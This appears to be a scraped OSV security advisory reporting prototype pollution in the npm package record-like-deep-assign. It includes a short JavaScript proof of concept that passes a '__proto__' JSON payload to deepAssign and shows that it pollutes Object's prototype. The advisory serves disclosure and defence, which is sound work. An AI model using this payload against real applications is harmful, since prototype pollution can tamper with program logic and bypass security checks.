Lucene search

K
osvGoogleOSV:GHSA-7QM6-9V49-38M9
HistoryDec 10, 2021 - 6:55 p.m.

Prototype Pollution in record-like-deep-assign

2021-12-1018:55:39
Google
osv.dev
4

0.005 Low

EPSS

Percentile

76.3%

All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.

PoC

const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);
CPENameOperatorVersion
record-like-deep-assignle1.0.1

0.005 Low

EPSS

Percentile

76.3%

Related for OSV:GHSA-7QM6-9V49-38M9